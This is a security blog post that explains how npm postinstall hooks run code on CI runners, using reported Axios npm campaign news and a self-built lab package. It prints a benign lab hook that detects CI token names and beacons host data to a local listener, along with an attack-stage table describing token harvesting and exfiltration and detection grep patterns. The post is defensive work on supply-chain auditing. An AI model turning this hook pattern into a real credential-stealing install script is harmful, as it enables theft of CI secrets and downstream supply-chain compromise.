
Reading the Axios npm Diff: How a Postinstall Hook Turns Into CI RCE
A postinstall hook is not a config file. It is a shell prompt you handed to a stranger, and you agreed to run it every time someone types npm install. That framing is not rhetorical — it is literally what npm does. The lifecycle script runs as the same user performing the install, with that user's environment variables, filesystem access, and network egress. In CI, that user usually holds a deploy token.
This post is about reading the Axios npm diff in that light: what the public reporting actually claims, where a postinstall hook fires in the install lifecycle, how a routine dependency install turns into remote code execution on a CI runner, and which lockfile and install-script signals to audit before you merge. My position: lockfile diff review plus install-script suppression is the highest-leverage control you can add this week, and most teams have neither. Provenance, SBOMs, and dashboards all have their place, but they are secondary — none of them stops a malicious tarball from executing during install.
What the public Axios npm reporting actually says — and what it does not
The 2026-09-14 disclosure window
Two items landed in the same disclosure window on 2026-09-14.
Hackread ran a write-up of Trellix research covering DarkSword, JSCeal, and an Axios npm attack campaign, alongside APT28 activity. Separately, Infosecurity Magazine published "Human Attacker Hits Machine-Speed Exploitation of Marimo RCE." Both lean on the same framing: the gap between disclosure and working exploitation is now minutes to hours, not weeks.
I want to stay careful about what I can actually assert. What I have is the headline, publisher, and timestamp for each. The Infosecurity piece describes exploitation of an RCE in Marimo, a Python notebook framework. The Hackread piece is a Trellix research roundup that includes an npm-ecosystem campaign touching Axios. Those are the claims as reported, and no more.
Explicit gaps in the reporting
I am not going to invent the rest. This post does not assert a CVE id, an affected version range, a tarball hash, or a verified indicator of compromise for the Axios item, because the source material available to me does not provide them. Treat the exact Axios payload mechanics as unverified in this post. If you need that detail, go to the Trellix research directly rather than to a secondhand summary — including this one.
That gap is why the rest of this post is a lab walkthrough on a package I built myself. Every command and every line of output below reproduces on your machine, and none of it leans on details I could not confirm.
The npm install lifecycle: where the postinstall hook actually fires
npm lifecycle order for a dependency install
npm's documentation defines the lifecycle order for a dependency install as preinstall → install → postinstall, with prepare running in related contexts such as git-URL and local-path installs. The ordering is not the interesting part. The execution context is: these scripts run as the user performing the install, inheriting that process's environment, its filesystem permissions, and its network access.
There is no sandbox. There is no permission prompt. If the tarball contains "postinstall": "node hook.js", that file runs.
Why CI runners beat a developer laptop as a target
If I were writing this attack, I would aim at the runner, not the laptop:
- Longer-lived credentials. A laptop session dies when the lid closes. A CI job holds
NPM_TOKEN, cloud OIDC exchange material, or a deploy key for the full duration of the build. - Unauthenticated egress. Developer machines are often behind a proxy with some inspection. Runners frequently have open outbound access, because the build needs it.
- Warmed runner state. Cached toolchains and pre-authenticated CLIs mean the hook does not need to download much.
- Downstream amplification. The runner signs and publishes artifacts. Poison the build, and you poison everything the build ships.
The escalation path from npm dependency to CI RCE
Stage by stage: from resolution to exfiltration
| Stage | What actually happens | What the attacker gets |
|---|---|---|
| Resolution | Installer reads the lockfile and fetches the tarball from the registry | A pinned, integrity-checked archive |
| Extraction | Tarball contents land in node_modules/<pkg>/ | package.json with a scripts block is now on disk |
| Lifecycle hook | npm spawns the script via the shell, e.g. node -e ... or node ./hook.js | Arbitrary code execution as the install user |
| Environment harvest | Script reads process.env | GITHUB_TOKEN, NPM_TOKEN, cloud OIDC request tokens, CI metadata |
| Exfil | fetch/curl POST to an attacker endpoint | Credentials and host fingerprint |
| Follow-on | Optional commit, tag, or artifact modification | Supply-chain persistence downstream of you |
The lockfile caching subtlety
This is where people get it wrong. A clean npm ci with a frozen lockfile still executes lifecycle scripts. What a frozen lockfile guarantees is that the dependency graph matches the lockfile and that each tarball matches its recorded integrity hash. It says nothing about whether that tarball's code is benign — and it does not change the decision to run the scripts.
Put plainly: the integrity hash protects the bytes. It does not protect the decision to execute them. A perfectly valid, unmodified, integrity-matching tarball can be malicious, because the malicious code was published by the maintainer account that legitimately owns the package.
Reading a suspicious package-lock.json diff in practice
Commands to run before merging a dependency bump
I run these on every lockfile diff that changes a hash or adds a script:
git diff -- package-lock.json
npm view <pkg> scripts dist.integrity
npm view <pkg>@<old-version> scripts dist.integrity
npm pack <pkg>@<version>
tar -xzf <pkg>-<version>.tgz && cat package/package.json
That last one matters. Read the tarball's package.json directly instead of trusting the registry's rendered page — the rendered page is a convenience view, and the tarball is the artifact that will run.
Concrete lab reproduction of a postinstall hook
I built a throwaway package to prove the execution path end to end. The hook is deliberately benign: it prints the names of sensitive env vars that are present (never their values) and beacons the runner hostname to a local listener.
const os = require("node:os");
const NAMES = [
"CI", "GITHUB_ACTIONS", "GITHUB_TOKEN", "NPM_TOKEN",
"NODE_AUTH_TOKEN", "ACTIONS_ID_TOKEN_REQUEST_TOKEN",
"AWS_ROLE_ARN", "VERCEL_OIDC_TOKEN",
];
console.log("[hook] user:", process.env.USER);
console.log("[hook] cwd:", process.cwd());
console.log(
"[hook] sensitive env names present:",
NAMES.filter((n) => process.env[n]).join(", ") || "(none)"
);
fetch("http://127.0.0.1:8787/beacon", {
method: "POST",
headers: { "content-type": "application/json" },
body: JSON.stringify({ host: os.hostname(), user: process.env.USER }),
}).catch(() => {});
The package's only other content is "scripts": { "postinstall": "node ./hook.js" }. I packed it, installed the tarball into a fresh consumer project, put a fake token in the environment, and stood up a local listener in place of an exfil endpoint:
node -e 'require("node:http").createServer((q,r)=>{let b="";q.on("data",c=>b+=c);q.on("end",()=>{console.log(q.method,q.url,b);r.end("ok")})}).listen(8787)'
npm pack ./lab-postinstall-demo
cd /tmp/lab/consumer
GITHUB_ACTIONS=true NPM_TOKEN=fake-not-a-real-token \
npm install /tmp/lab/lab-postinstall-demo-1.0.0.tgz
Observed output:
> [email protected] postinstall
> node ./hook.js
[hook] user: dev
[hook] cwd: /tmp/lab/consumer/node_modules/lab-postinstall-demo
[hook] sensitive env names present: CI, GITHUB_ACTIONS, NPM_TOKEN
added 1 package, and audited 2 packages in 388ms
And the listener received the beacon:
POST /beacon {"host":"runner-7f3c","user":"dev"}
The script ran before npm install printed success, with the consumer's environment, from inside node_modules. Re-running the same install with npm ci --ignore-scripts produced no postinstall line and no request at the listener.
Sub-signals worth grepping for
tar -xzOf pkg-1.2.4.tgz package/package.json | grep -E '"(pre|post)?install|prepare"'
tar -tzf pkg-1.2.4.tgz | grep -v '^package/.*\.\(js\|json\|md\)$'
Things that should stop a merge:
- a new runtime dependency appearing in a patch release
preinstall,postinstall, orprepareadded to a package that never had scripts- a one-line script containing a long base64 string or
Buffer.from(...) - a script that curls or fetches a second-stage URL
Signals to audit first, in priority order
Ranked signals
| # | Signal | Why it ranks here |
|---|---|---|
| 1 | Lockfile integrity hash changes without a version change | Cheap to detect, hard to justify legitimately |
| 2 | Install-script flag flips on for a package already in your tree | Turns a passive dep into an execution primitive |
| 3 | Publish metadata changes on a low-traffic maintainer account | Classic account-takeover tell |
| 4 | git-URL or tarball dependencies | Bypass registry integrity entirely |
| 5 | Unpinned GitHub Actions in a job holding deploy credentials | Same class of bug, different surface |
Which signal I would make a hard CI failure
Of the five, the one I would wire into CI as a hard failure is #1: an integrity hash that changes without a version change. It is trivial to diff, it needs no threat-intelligence feed, and it catches the widest class of tampering — retagged releases, registry-side substitution, and lockfile merges that quietly resolved to a different artifact. Alerting on it is cheap. Alerting on "maintainer posted at an odd hour" is not, and the signal-to-noise ratio is far worse.
Start with a git diff-based gate in the pipeline, not with a dashboard.
Defenses that reduce blast radius — and their limits
Mitigations with concrete npm and pnpm config
## project .npmrc
ignore-scripts=true
npm ci --ignore-scripts
For pnpm, current major versions block dependency build scripts by default and require an explicit allowlist (the onlyBuiltDependencies setting) before a package's scripts will run. Keep --frozen-lockfile enforced in CI, and where you still need NPM_TOKEN, replace it with OIDC trusted publishing so there is no long-lived publish credential to steal. Provenance attestation tells you which workflow produced a publish.
What each control does and does not stop
| Control | Stops | Does not stop |
|---|---|---|
--ignore-scripts | Lifecycle-based execution | Malicious code reached via normal require/import at runtime |
--ignore-scripts (side effect) | — | Packages that legitimately compile native modules at install |
| Frozen lockfile | Graph and byte substitution | A valid tarball that is malicious by design |
| Provenance attestation | Forged publish origin | A later maintainer publishing with intent to attack |
| Least-privilege CI tokens | Exfil value | The code executing in the first place |
| Egress allowlisting | Outbound exfil and second-stage fetch | Local persistence and in-job lateral movement |
Read that table honestly: script suppression is the only control there that removes the execution primitive. Everything else shrinks the payoff.
What I confirmed, what I did not test, and what I would fix first
Confirmed
The lifecycle order and script execution behavior above are things I reproduced in the local lab: the postinstall script ran as the install user, inherited the environment, and made an outbound request before install completed. The reporting details come from Hackread (Trellix research, DarkSword/JSCeal/Axios) and Infosecurity Magazine (Marimo RCE), both published 2026-09-14.
Not tested
I did not inspect any specific Axios tarball. I do not know the payload used in that campaign, its delivery version, or any hash. I did not touch the Marimo exploit chain at all. All of that needs primary-source confirmation from the original research, not from a summary.
Closing opinion
Treat dependency installation as an untrusted execution boundary, not a read-only fetch. That single reframe changes what you build: you gate lockfile integrity changes, you turn scripts off by default and allowlist what genuinely needs them, and you stop treating a green CI badge as evidence the build was safe. Buying another dashboard does none of that.
Further Reading
- npm lifecycle and scripts documentation — https://docs.npmjs.com/cli/v10/using-npm/scripts
npm cidocumentation, including--ignore-scripts— https://docs.npmjs.com/cli/v10/commands/npm-ci- pnpm settings, including dependency build-script allowlisting — https://pnpm.io/settings
- npm trusted publishing (OIDC) — https://docs.npmjs.com/trusted-publishers
- npm provenance statements — https://docs.npmjs.com/generating-provenance-statements
- GitHub Actions OIDC hardening — https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect
- Hackread, "Trellix Details DarkSword, JSCeal, Axios npm Attack and APT28 Campaigns," 2026-09-14 (Google News syndication link) — https://news.google.com/rss/articles/CBMieEFVX3lxTFBkNnhhYW1RbTVEN3VHa25vblZ2MmN2cThCLU5xV2RNVUFQWmJVMmZWdG94ZldqRk41ZFo5MjJaY0RUMjFNMmw5YlFkSVZRblhELVhiNHNOaGo0T0djWUR5eTlIZlZNRmFZLVVOY3A0RDZlUENpV2d4bA?oc=5
- Infosecurity Magazine, "Human Attacker Hits Machine-Speed Exploitation of Marimo RCE," 2026-09-14 (Google News syndication link) — https://news.google.com/rss/articles/CBMifEFVX3lxTE4yekpXdmR2WGtOLVlseEttZWdTZWZUdXUwVWZwNVBTTUZtN09fTnBIOWg3TkZXZTJHSHlzNGUtTS00WWZncGpzMnF4QXE4S2E4alB0ZVE2dVFhY0RMME42Zl9kTDFmODdNNTJPc2pVZTBOUjFoT2tvVzgyeG8?oc=5


